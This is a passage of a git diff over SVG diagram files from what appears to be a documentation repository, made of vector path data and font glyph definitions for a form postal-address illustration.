style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.313 281.52h128v40h-128zM477.313 287.52v-6c-3.313 0-6 2.683-6 6zM605.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M471.313 287.52h140v28h-140zM477.313 315.52h-6c0 3.312 2.687 6 6 6zM605.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.052 54.703h6.4M48.052 56.703h6.4M48.052 54.703a.3.3 0 0 0-.3.3M54.752 55.003a.3.3 0 0 0-.3-.3M47.752 55.003v1.4M54.752 55.003v1.4M47.752 56.403a.3.3 0 0 0 .3.3M54.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 290.793h37.8v23.852h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#S" x="423.066" y="309.043"/><use xlink:href="#M" x="431.855" y="309.043"/><use xlink:href="#T" x="437.676" y="309.043"/><use xlink:href="#M" x="445.938" y="309.043"/><use xlink:href="#d" x="451.758" y="309.043"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m27.9 42.973.006 1.899" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M27.906 44.872a.269.269 0 0 1-.251-.25c0-.124.124-.25.25-.25a.27.27 0 0 1 .25.25c0 .124-.124.25-.25.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m46.275 43.802-.026 5.672" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M46.25 49.474a.269.269 0 0 1-.25-.251c0-.125.126-.25.251-.249.125 0 .25.126.25.251-.002.125-.127.25-.252.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M519.305 458.691h176.699v21.25h-176.7zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="519.305" y="474.941"/><use xlink:href="#x" x="527.137" y="474.941"/><use xlink:href="#r" x="534.91" y="474.941"/><use xlink:href="#l" x="540.984" y="474.941"/><use xlink:href="#p" x="545.926" y="474.941"/><use xlink:href="#I" x="553.133" y="474.941"/><use xlink:href="#U" x="557.332" y="474.941"/><use xlink:href="#p" x="563.348" y="474.941"/><use xlink:href="#q" x="570.555" y="474.941"/><use xlink:href="#q" x="578.348" y="474.941"/><use xlink:href="#m" x="586.141" y="474.941"/><use xlink:href="#n" x="591.082" y="474.941"/><use xlink:href="#r" x="598.523" y="474.941"/><use xlink:href="#r" x="604.598" y="474.941"/><use xlink:href="#U" x="610.672" y="474.941"/><use xlink:href="#r" x="616.688" y="474.941"/><use xlink:href="#l" x="622.762" y="474.941"/><use xlink:href="#p" x="627.703" y="474.941"/><use xlink:href="#l" x="634.91" y="474.941"/><use xlink:href="#n" x="639.734" y="474.941"/><use xlink:href="#U" x="647.176" y="474.941"/><use xlink:href="#V" x="653.191" y="474.941"/><use xlink:href="#H" x="663.816" y="474.941"/><use xlink:href="#q" x="667.723" y="474.941"/><use xlink:href="#J" x="675.516" y="474.941"/><use xlink:href="#n" x="683.289" y="474.941"/><use xlink:href="#l" x="690.73" y="474.941"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M44.988 24.355H165.84v21.25H44.988zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="44.988" y="40.605"/><use xlink:href="#x" x="52.82" y="40.605"/><use xlink:href="#r" x="60.594" y="40.605"/><use xlink:href="#l" x="66.668" y="40.605"/><use xlink:href="#p" x="71.609" y="40.605"/><use xlink:href="#I" x="78.816" y="40.605"/><use xlink:href="#U" x="83.016" y="40.605"/><use xlink:href="#p" x="89.031" y="40.605"/><use xlink:href="#q" x="96.238" y="40.605"/><use xlink:href="#q" x="104.031" y="40.605"/><use xlink:href="#m" x="111.824" y="40.605"/><use xlink:href="#n" x="116.766" y="40.605"/><use xlink:href="#r" x="124.207" y="40.605"/><use xlink:href="#r" x="130.281" y="40.605"/><use xlink:href="#U" x="136.355" y="40.605"/><use xlink:href="#m" x="142.371" y="40.605"/><use xlink:href="#x" x="147.313" y="40.605"/><use xlink:href="#V" x="154.949" y="40.605"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M311.148 41.605H524.5v21.25H311.148zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="311.148" y="57.855"/><use xlink:href="#x" x="318.98" y="57.855"/><use xlink:href="#r" x="326.754" y="57.855"/><use xlink:href="#l" x="332.828" y="57.855"/><use xlink:href="#p" x="337.77" y="57.855"/><use xlink:href="#I" x="344.977" y="57.855"/><use xlink:href="#U" x="349.176" y="57.855"/><use xlink:href="#p" x="355.191" y="57.855"/><use xlink:href="#q" x="362.398" y="57.855"/><use xlink:href="#q" x="370.191" y="57.855"/><use xlink:href="#m" x="377.984" y="57.855"/><use xlink:href="#n" x="382.926" y="57.855"/><use xlink:href="#r" x="390.367" y="57.855"/><use xlink:href="#r" x="396.441" y="57.855"/><use xlink:href="#U" x="402.516" y="57.855"/><use xlink:href="#p" x="408.531" y="57.855"/><use xlink:href="#q" x="415.738" y="57.855"/><use xlink:href="#q" x="423.531" y="57.855"/><use xlink:href="#m" x="431.324" y="57.855"/><use xlink:href="#n" x="436.266" y="57.855"/><use xlink:href="#r" x="443.707" y="57.855"/><use xlink:href="#r" x="449.781" y="57.855"/><use xlink:href="#W" x="455.855" y="57.855"/><use xlink:href="#H" x="463.316" y="57.855"/><use xlink:href="#C" x="467.223" y="57.855"/><use xlink:href="#n" x="475.133" y="57.855"/><use xlink:href="#X" x="482.574" y="57.855"/><use xlink:href="#U" x="490.68" y="57.855"/><use xlink:href="#Y" x="496.695" y="57.855"/><use xlink:href="#n" x="504.625" y="57.855"/><use xlink:href="#I" x="512.066" y="57.855"/><use xlink:href="#B" x="516.266" y="57.855"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M54.402 467.422h183.602v21.25H54.402zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#B" x="54.402" y="483.672"/><use xlink:href="#x" x="62.234" y="483.672"/><use xlink:href="#r" x="70.008" y="483.672"/><use xlink:href="#l" x="76.082" y="483.672"/><use xlink:href="#p" x="81.023" y="483.672"/><use xlink:href="#I" x="88.23" y="483.672"/><use xlink:href="#U" x="92.43" y="483.672"/><use xlink:href="#p" x="98.445" y="483.672"/><use xlink:href="#q" x="105.652" y="483.672"/><use xlink:href="#q" x="113.445" y="483.672"/><use xlink:href="#m" x="121.238" y="483.672"/><use xlink:href="#n" x="126.18" y="483.672"/><use xlink:href="#r" x="133.621" y="483.672"/><use xlink:href="#r" x="139.695" y="483.672"/><use xlink:href="#U" x="145.77" y="483.672"/><use xlink:href="#Z" x="151.785" y="483.672"/><use xlink:href="#H" x="158.27" y="483.672"/><use xlink:href="#B" x="162.176" y="483.672"/><use xlink:href="#aa" x="170.008" y="483.672"/><use xlink:href="#x" x="177.781" y="483.672"/><use xlink:href="#q" x="185.555" y="483.672"/><use xlink:href="#n" x="193.348" y="483.672"/><use xlink:href="#U" x="200.789" y="483.672"/><use xlink:href="#I" x="206.805" y="483.672"/><use xlink:href="#p" x="211.004" y="483.672"/><use xlink:href="#w" x="218.211" y="483.672"/><use xlink:href="#n" x="226.023" y="483.672"/><use xlink:href="#I" x="233.465" y="483.672"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m53.803 63.6.026-7.133" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M53.83 56.467c.124 0 .249.126.248.251 0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.252c0-.125.126-.25.251-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m29.356 63.968.027-4.877" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M29.383 59.091c.125 0 .25.127.248.252 0 .125-.126.249-.251.248a.269.269 0 0 1-.249-.251c.001-.125.127-.25.252-.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/></svg>
diff --git a/_images/form/form-custom-type-postal-address.svg b/_images/form/form-custom-type-postal-address.svg
index ab0fde8af3a..42ffce4067f 100644
--- a/_images/form/form-custom-type-postal-address.svg
+++ b/_images/form/form-custom-type-postal-address.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 478"><defs><symbol overflow="visible" id="a"><path d="M 1.28125 -13.859375 C 1.707031 -13.984375 2.160156 -14.0625 2.640625 -14.09375 C 3.117188 -14.132812 3.59375 -14.15625 4.0625 -14.15625 C 4.59375 -14.15625 5.117188 -14.09375 5.640625 -13.96875 C 6.160156 -13.851562 6.628906 -13.632812 7.046875 -13.3125 C 7.472656 -13 7.8125 -12.5625 8.0625 -12 C 8.320312 -11.4375 8.453125 -10.722656 8.453125 -9.859375 C 8.453125 -9.015625 8.328125 -8.300781 8.078125 -7.71875 C 7.835938 -7.132812 7.515625 -6.65625 7.109375 -6.28125 C 6.703125 -5.914062 6.234375 -5.648438 5.703125 -5.484375 C 5.179688 -5.316406 4.640625 -5.234375 4.078125 -5.234375 C 4.023438 -5.234375 3.9375 -5.234375 3.8125 -5.234375 C 3.695312 -5.234375 3.570312 -5.238281 3.4375 -5.25 C 3.300781 -5.257812 3.171875 -5.269531 3.046875 -5.28125 C 2.921875 -5.289062 2.832031 -5.300781 2.78125 -5.3125 L 2.78125 0 L 1.28125 0 Z M 4.140625 -12.78125 C 3.867188 -12.78125 3.609375 -12.769531 3.359375 -12.75 C 3.117188 -12.726562 2.925781 -12.695312 2.78125 -12.65625 L 2.78125 -6.703125 C 2.832031 -6.671875 2.914062 -6.648438 3.03125 -6.640625 C 3.144531 -6.640625 3.257812 -6.632812 3.375 -6.625 C 3.5 -6.625 3.617188 -6.625 3.734375 -6.625 C 3.847656 -6.625 3.929688 -6.625 3.984375 -6.625 C 4.359375 -6.625 4.71875 -6.671875 5.0625 -6.765625 C 5.40625 -6.859375 5.707031 -7.023438 5.96875 -7.265625 C 6.238281 -7.515625 6.457031 -7.847656 6.625 -8.265625 C 6.789062 -8.691406 6.875 -9.222656 6.875 -9.859375 C 6.875 -10.421875 6.796875 -10.882812 6.640625 -11.25 C 6.492188 -11.625 6.296875 -11.925781 6.046875 -12.15625 C 5.804688 -12.382812 5.519531 -12.546875 5.1875 -12.640625 C 4.851562 -12.734375 4.503906 -12.78125 4.140625 -12.78125 Z M 4.140625 -12.78125"/></symbol><symbol overflow="visible" id="b"><path d="M 0.734375 -5 C 0.734375 -6.800781 1.039062 -8.125 1.65625 -8.96875 C 2.28125 -9.8125 3.164062 -10.234375 4.3125 -10.234375 C 5.539062 -10.234375 6.445312 -9.800781 7.03125 -8.9375 C 7.613281 -8.070312 7.90625 -6.757812 7.90625 -5 C 7.90625 -3.1875 7.585938 -1.859375 6.953125 -1.015625 C 6.328125 -0.179688 5.445312 0.234375 4.3125 0.234375 C 3.09375 0.234375 2.191406 -0.195312 1.609375 -1.0625 C 1.023438 -1.925781 0.734375 -3.238281 0.734375 -5 Z M 2.234375 -5 C 2.234375 -4.414062 2.269531 -3.882812 2.34375 -3.40625 C 2.414062 -2.925781 2.535156 -2.507812 2.703125 -2.15625 C 2.867188 -1.8125 3.085938 -1.539062 3.359375 -1.34375 C 3.628906 -1.15625 3.945312 -1.0625 4.3125 -1.0625 C 5.007812 -1.0625 5.53125 -1.367188 5.875 -1.984375 C 6.226562 -2.609375 6.40625 -3.613281 6.40625 -5 C 6.40625 -5.570312 6.367188 -6.097656 6.296875 -6.578125 C 6.222656 -7.066406 6.101562 -7.484375 5.9375 -7.828125 C 5.769531 -8.179688 5.550781 -8.453125 5.28125 -8.640625 C 5.007812 -8.835938 4.6875 -8.9375 4.3125 -8.9375 C 3.632812 -8.9375 3.117188 -8.625 2.765625 -8 C 2.410156 -7.375 2.234375 -6.375 2.234375 -5 Z M 2.234375 -5"/></symbol><symbol overflow="visible" id="c"><path d="M 1.015625 -1.640625 C 1.285156 -1.484375 1.601562 -1.347656 1.96875 -1.234375 C 2.332031 -1.117188 2.707031 -1.0625 3.09375 -1.0625 C 3.539062 -1.0625 3.914062 -1.171875 4.21875 -1.390625 C 4.53125 -1.609375 4.6875 -1.960938 4.6875 -2.453125 C 4.6875 -2.867188 4.59375 -3.207031 4.40625 -3.46875 C 4.21875 -3.738281 3.976562 -3.976562 3.6875 -4.1875 C 3.40625 -4.40625 3.097656 -4.601562 2.765625 -4.78125 C 2.429688 -4.96875 2.117188 -5.1875 1.828125 -5.4375 C 1.546875 -5.6875 1.3125 -5.984375 1.125 -6.328125 C 0.9375 -6.679688 0.84375 -7.125 0.84375 -7.65625 C 0.84375 -8.507812 1.070312 -9.148438 1.53125 -9.578125 C 1.988281 -10.015625 2.640625 -10.234375 3.484375 -10.234375 C 4.023438 -10.234375 4.492188 -10.179688 4.890625 -10.078125 C 5.296875 -9.984375 5.644531 -9.851562 5.9375 -9.6875 L 5.5625 -8.484375 C 5.3125 -8.617188 5.019531 -8.726562 4.6875 -8.8125 C 4.351562 -8.894531 4.007812 -8.9375 3.65625 -8.9375 C 3.175781 -8.9375 2.828125 -8.835938 2.609375 -8.640625 C 2.390625 -8.441406 2.28125 -8.128906 2.28125 -7.703125 C 2.28125 -7.367188 2.375 -7.082031 2.5625 -6.84375 C 2.75 -6.613281 2.984375 -6.398438 3.265625 -6.203125 C 3.554688 -6.015625 3.867188 -5.816406 4.203125 -5.609375 C 4.535156 -5.410156 4.84375 -5.175781 5.125 -4.90625 C 5.414062 -4.632812 5.65625 -4.304688 5.84375 -3.921875 C 6.03125 -3.546875 6.125 -3.070312 6.125 -2.5 C 6.125 -2.125 6.0625 -1.769531 5.9375 -1.4375 C 5.820312 -1.101562 5.640625 -0.8125 5.390625 -0.5625 C 5.140625 -0.320312 4.832031 -0.128906 4.46875 0.015625 C 4.101562 0.160156 3.675781 0.234375 3.1875 0.234375 C 2.59375 0.234375 2.082031 0.175781 1.65625 0.0625 C 1.226562 -0.0390625 0.867188 -0.1875 0.578125 -0.375 Z M 1.015625 -1.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 0.1875 -10 L 1.40625 -10 L 1.40625 -11.984375 L 2.84375 -12.4375 L 2.84375 -10 L 5 -10 L 5 -8.703125 L 2.84375 -8.703125 L 2.84375 -2.734375 C 2.84375 -2.148438 2.910156 -1.726562 3.046875 -1.46875 C 3.191406 -1.207031 3.421875 -1.078125 3.734375 -1.078125 C 4.003906 -1.078125 4.234375 -1.109375 4.421875 -1.171875 C 4.617188 -1.234375 4.832031 -1.3125 5.0625 -1.40625 L 5.34375 -0.265625 C 5.050781 -0.117188 4.726562 -0.00390625 4.375 0.078125 C 4.019531 0.171875 3.648438 0.21875 3.265625 0.21875 C 2.597656 0.21875 2.117188 0.00390625 1.828125 -0.421875 C 1.546875 -0.859375 1.40625 -1.566406 1.40625 -2.546875 L 1.40625 -8.703125 L 0.1875 -8.703125 Z M 0.1875 -10"/></symbol><symbol overflow="visible" id="e"><path d="M 1.078125 -9.40625 C 1.460938 -9.644531 1.929688 -9.828125 2.484375 -9.953125 C 3.035156 -10.085938 3.617188 -10.15625 4.234375 -10.15625 C 4.796875 -10.15625 5.242188 -10.070312 5.578125 -9.90625 C 5.921875 -9.738281 6.191406 -9.507812 6.390625 -9.21875 C 6.585938 -8.9375 6.710938 -8.613281 6.765625 -8.25 C 6.828125 -7.882812 6.859375 -7.5 6.859375 -7.09375 C 6.859375 -6.300781 6.84375 -5.523438 6.8125 -4.765625 C 6.78125 -4.003906 6.765625 -3.28125 6.765625 -2.59375 C 6.765625 -2.09375 6.78125 -1.625 6.8125 -1.1875 C 6.84375 -0.757812 6.90625 -0.347656 7 0.046875 L 5.90625 0.046875 L 5.5625 -1.140625 L 5.484375 -1.140625 C 5.285156 -0.796875 4.988281 -0.492188 4.59375 -0.234375 C 4.207031 0.015625 3.691406 0.140625 3.046875 0.140625 C 2.316406 0.140625 1.722656 -0.109375 1.265625 -0.609375 C 0.804688 -1.109375 0.578125 -1.800781 0.578125 -2.6875 C 0.578125 -3.257812 0.671875 -3.738281 0.859375 -4.125 C 1.054688 -4.507812 1.332031 -4.820312 1.6875 -5.0625 C 2.039062 -5.300781 2.460938 -5.46875 2.953125 -5.5625 C 3.441406 -5.664062 3.984375 -5.71875 4.578125 -5.71875 C 4.710938 -5.71875 4.847656 -5.71875 4.984375 -5.71875 C 5.117188 -5.71875 5.257812 -5.710938 5.40625 -5.703125 C 5.4375 -6.109375 5.453125 -6.472656 5.453125 -6.796875 C 5.453125 -7.554688 5.335938 -8.085938 5.109375 -8.390625 C 4.890625 -8.703125 4.476562 -8.859375 3.875 -8.859375 C 3.5 -8.859375 3.09375 -8.800781 2.65625 -8.6875 C 2.21875 -8.570312 1.851562 -8.429688 1.5625 -8.265625 Z M 5.421875 -4.5625 C 5.285156 -4.570312 5.148438 -4.578125 5.015625 -4.578125 C 4.878906 -4.585938 4.75 -4.59375 4.625 -4.59375 C 4.300781 -4.59375 3.984375 -4.566406 3.671875 -4.515625 C 3.367188 -4.460938 3.097656 -4.367188 2.859375 -4.234375 C 2.617188 -4.109375 2.425781 -3.929688 2.28125 -3.703125 C 2.144531 -3.472656 2.078125 -3.1875 2.078125 -2.84375 C 2.078125 -2.3125 2.207031 -1.894531 2.46875 -1.59375 C 2.726562 -1.300781 3.066406 -1.15625 3.484375 -1.15625 C 4.035156 -1.15625 4.460938 -1.285156 4.765625 -1.546875 C 5.078125 -1.816406 5.296875 -2.113281 5.421875 -2.4375 Z M 5.421875 -4.5625"/></symbol><symbol overflow="visible" id="f"><path d="M 2.71875 -2.375 C 2.71875 -1.914062 2.78125 -1.582031 2.90625 -1.375 C 3.03125 -1.175781 3.207031 -1.078125 3.4375 -1.078125 C 3.71875 -1.078125 4.046875 -1.148438 4.421875 -1.296875 L 4.5625 -0.140625 C 4.382812 -0.0351562 4.140625 0.046875 3.828125 0.109375 C 3.515625 0.179688 3.234375 0.21875 2.984375 0.21875 C 2.472656 0.21875 2.0625 0.0625 1.75 -0.25 C 1.4375 -0.5625 1.28125 -1.113281 1.28125 -1.90625 L 1.28125 -14 L 2.71875 -14 Z M 2.71875 -2.375"/></symbol><symbol overflow="visible" id="g"><path d="M 6.65625 -3.921875 L 2.703125 -3.921875 L 1.578125 0 L 0.09375 0 L 4.3125 -14.21875 L 5.140625 -14.21875 L 9.359375 0 L 7.796875 0 Z M 3.09375 -5.265625 L 6.296875 -5.265625 L 5.078125 -9.578125 L 4.703125 -11.6875 L 4.65625 -11.6875 L 4.28125 -9.546875 Z M 3.09375 -5.265625"/></symbol><symbol overflow="visible" id="h"><path d="M 7.484375 -3.4375 C 7.484375 -2.757812 7.488281 -2.144531 7.5 -1.59375 C 7.507812 -1.039062 7.554688 -0.492188 7.640625 0.046875 L 6.65625 0.046875 L 6.34375 -1.15625 L 6.265625 -1.15625 C 6.078125 -0.757812 5.78125 -0.425781 5.375 -0.15625 C 4.976562 0.101562 4.5 0.234375 3.9375 0.234375 C 2.851562 0.234375 2.046875 -0.179688 1.515625 -1.015625 C 0.992188 -1.859375 0.734375 -3.179688 0.734375 -4.984375 C 0.734375 -6.691406 1.054688 -7.984375 1.703125 -8.859375 C 2.359375 -9.742188 3.25 -10.1875 4.375 -10.1875 C 4.757812 -10.1875 5.066406 -10.160156 5.296875 -10.109375 C 5.523438 -10.066406 5.773438 -9.988281 6.046875 -9.875 L 6.046875 -14 L 7.484375 -14 Z M 6.046875 -8.421875 C 5.859375 -8.578125 5.644531 -8.691406 5.40625 -8.765625 C 5.175781 -8.835938 4.867188 -8.875 4.484375 -8.875 C 3.773438 -8.875 3.222656 -8.550781 2.828125 -7.90625 C 2.429688 -7.269531 2.234375 -6.285156 2.234375 -4.953125 C 2.234375 -4.367188 2.269531 -3.835938 2.34375 -3.359375 C 2.414062 -2.890625 2.53125 -2.484375 2.6875 -2.140625 C 2.84375 -1.796875 3.039062 -1.53125 3.28125 -1.34375 C 3.53125 -1.15625 3.835938 -1.0625 4.203125 -1.0625 C 5.160156 -1.0625 5.773438 -1.628906 6.046875 -2.765625 Z M 6.046875 -8.421875"/></symbol><symbol overflow="visible" id="i"><path d="M 1.1875 -10 L 2.203125 -10 L 2.453125 -8.9375 L 2.515625 -8.9375 C 2.703125 -9.320312 2.945312 -9.625 3.25 -9.84375 C 3.550781 -10.070312 3.914062 -10.1875 4.34375 -10.1875 C 4.644531 -10.1875 4.988281 -10.125 5.375 -10 L 5.09375 -8.546875 C 4.75 -8.660156 4.445312 -8.71875 4.1875 -8.71875 C 3.757812 -8.71875 3.410156 -8.59375 3.140625 -8.34375 C 2.867188 -8.101562 2.695312 -7.773438 2.625 -7.359375 L 2.625 0 L 1.1875 0 Z M 1.1875 -10"/></symbol><symbol overflow="visible" id="j"><path d="M 7.15625 -0.6875 C 6.84375 -0.382812 6.4375 -0.15625 5.9375 0 C 5.445312 0.15625 4.925781 0.234375 4.375 0.234375 C 3.75 0.234375 3.207031 0.113281 2.75 -0.125 C 2.289062 -0.375 1.910156 -0.726562 1.609375 -1.1875 C 1.304688 -1.644531 1.082031 -2.191406 0.9375 -2.828125 C 0.800781 -3.472656 0.734375 -4.195312 0.734375 -5 C 0.734375 -6.707031 1.046875 -8.003906 1.671875 -8.890625 C 2.304688 -9.785156 3.195312 -10.234375 4.34375 -10.234375 C 4.71875 -10.234375 5.085938 -10.1875 5.453125 -10.09375 C 5.816406 -10 6.144531 -9.8125 6.4375 -9.53125 C 6.726562 -9.257812 6.960938 -8.867188 7.140625 -8.359375 C 7.328125 -7.847656 7.421875 -7.1875 7.421875 -6.375 C 7.421875 -6.15625 7.410156 -5.914062 7.390625 -5.65625 C 7.367188 -5.394531 7.34375 -5.125 7.3125 -4.84375 L 2.234375 -4.84375 C 2.234375 -4.269531 2.28125 -3.75 2.375 -3.28125 C 2.46875 -2.8125 2.613281 -2.410156 2.8125 -2.078125 C 3.019531 -1.753906 3.28125 -1.503906 3.59375 -1.328125 C 3.90625 -1.148438 4.296875 -1.0625 4.765625 -1.0625 C 5.117188 -1.0625 5.472656 -1.125 5.828125 -1.25 C 6.179688 -1.382812 6.453125 -1.546875 6.640625 -1.734375 Z M 6.046875 -6.046875 C 6.066406 -7.046875 5.921875 -7.773438 5.609375 -8.234375 C 5.304688 -8.703125 4.890625 -8.9375 4.359375 -8.9375 C 3.742188 -8.9375 3.253906 -8.703125 2.890625 -8.234375 C 2.535156 -7.773438 2.328125 -7.046875 2.265625 -6.046875 Z M 6.046875 -6.046875"/></symbol><symbol overflow="visible" id="k"><path d="M 8.65625 -12.625 L 5.21875 -12.625 L 5.21875 0 L 3.71875 0 L 3.71875 -12.625 L 0.28125 -12.625 L 0.28125 -14 L 8.65625 -14 Z M 8.65625 -12.625"/></symbol><symbol overflow="visible" id="l"><path d="M 3.65625 -3.546875 L 4.078125 -1.59375 L 4.1875 -1.59375 L 4.484375 -3.546875 L 6 -10 L 7.453125 -10 L 5.078125 -1.015625 C 4.890625 -0.296875 4.703125 0.375 4.515625 1 C 4.328125 1.625 4.125 2.164062 3.90625 2.625 C 3.6875 3.082031 3.441406 3.441406 3.171875 3.703125 C 2.898438 3.960938 2.578125 4.09375 2.203125 4.09375 C 1.828125 4.09375 1.5 4.035156 1.21875 3.921875 L 1.453125 2.5625 C 1.640625 2.625 1.828125 2.632812 2.015625 2.59375 C 2.203125 2.5625 2.378906 2.453125 2.546875 2.265625 C 2.710938 2.078125 2.863281 1.796875 3 1.421875 C 3.144531 1.054688 3.269531 0.582031 3.375 0 L 0.140625 -10 L 1.78125 -10 Z M 3.65625 -3.546875"/></symbol><symbol overflow="visible" id="m"><path d="M 1.1875 -10 L 2.203125 -10 L 2.421875 -8.921875 L 2.5 -8.921875 C 2.988281 -9.796875 3.757812 -10.234375 4.8125 -10.234375 C 5.875 -10.234375 6.664062 -9.835938 7.1875 -9.046875 C 7.71875 -8.265625 7.984375 -6.984375 7.984375 -5.203125 C 7.984375 -4.359375 7.894531 -3.597656 7.71875 -2.921875 C 7.539062 -2.253906 7.289062 -1.679688 6.96875 -1.203125 C 6.65625 -0.734375 6.269531 -0.375 5.8125 -0.125 C 5.351562 0.113281 4.84375 0.234375 4.28125 0.234375 C 3.894531 0.234375 3.585938 0.207031 3.359375 0.15625 C 3.128906 0.113281 2.882812 0.0195312 2.625 -0.125 L 2.625 4 L 1.1875 4 Z M 2.625 -1.578125 C 2.8125 -1.421875 3.019531 -1.296875 3.25 -1.203125 C 3.476562 -1.109375 3.789062 -1.0625 4.1875 -1.0625 C 4.882812 -1.0625 5.441406 -1.421875 5.859375 -2.140625 C 6.273438 -2.859375 6.484375 -3.882812 6.484375 -5.21875 C 6.484375 -5.78125 6.445312 -6.285156 6.375 -6.734375 C 6.300781 -7.191406 6.179688 -7.582031 6.015625 -7.90625 C 5.859375 -8.238281 5.65625 -8.492188 5.40625 -8.671875 C 5.164062 -8.847656 4.863281 -8.9375 4.5 -8.9375 C 3.53125 -8.9375 2.90625 -8.34375 2.625 -7.15625 Z M 2.625 -1.578125"/></symbol><symbol overflow="visible" id="n"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="o"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="p"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="q"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 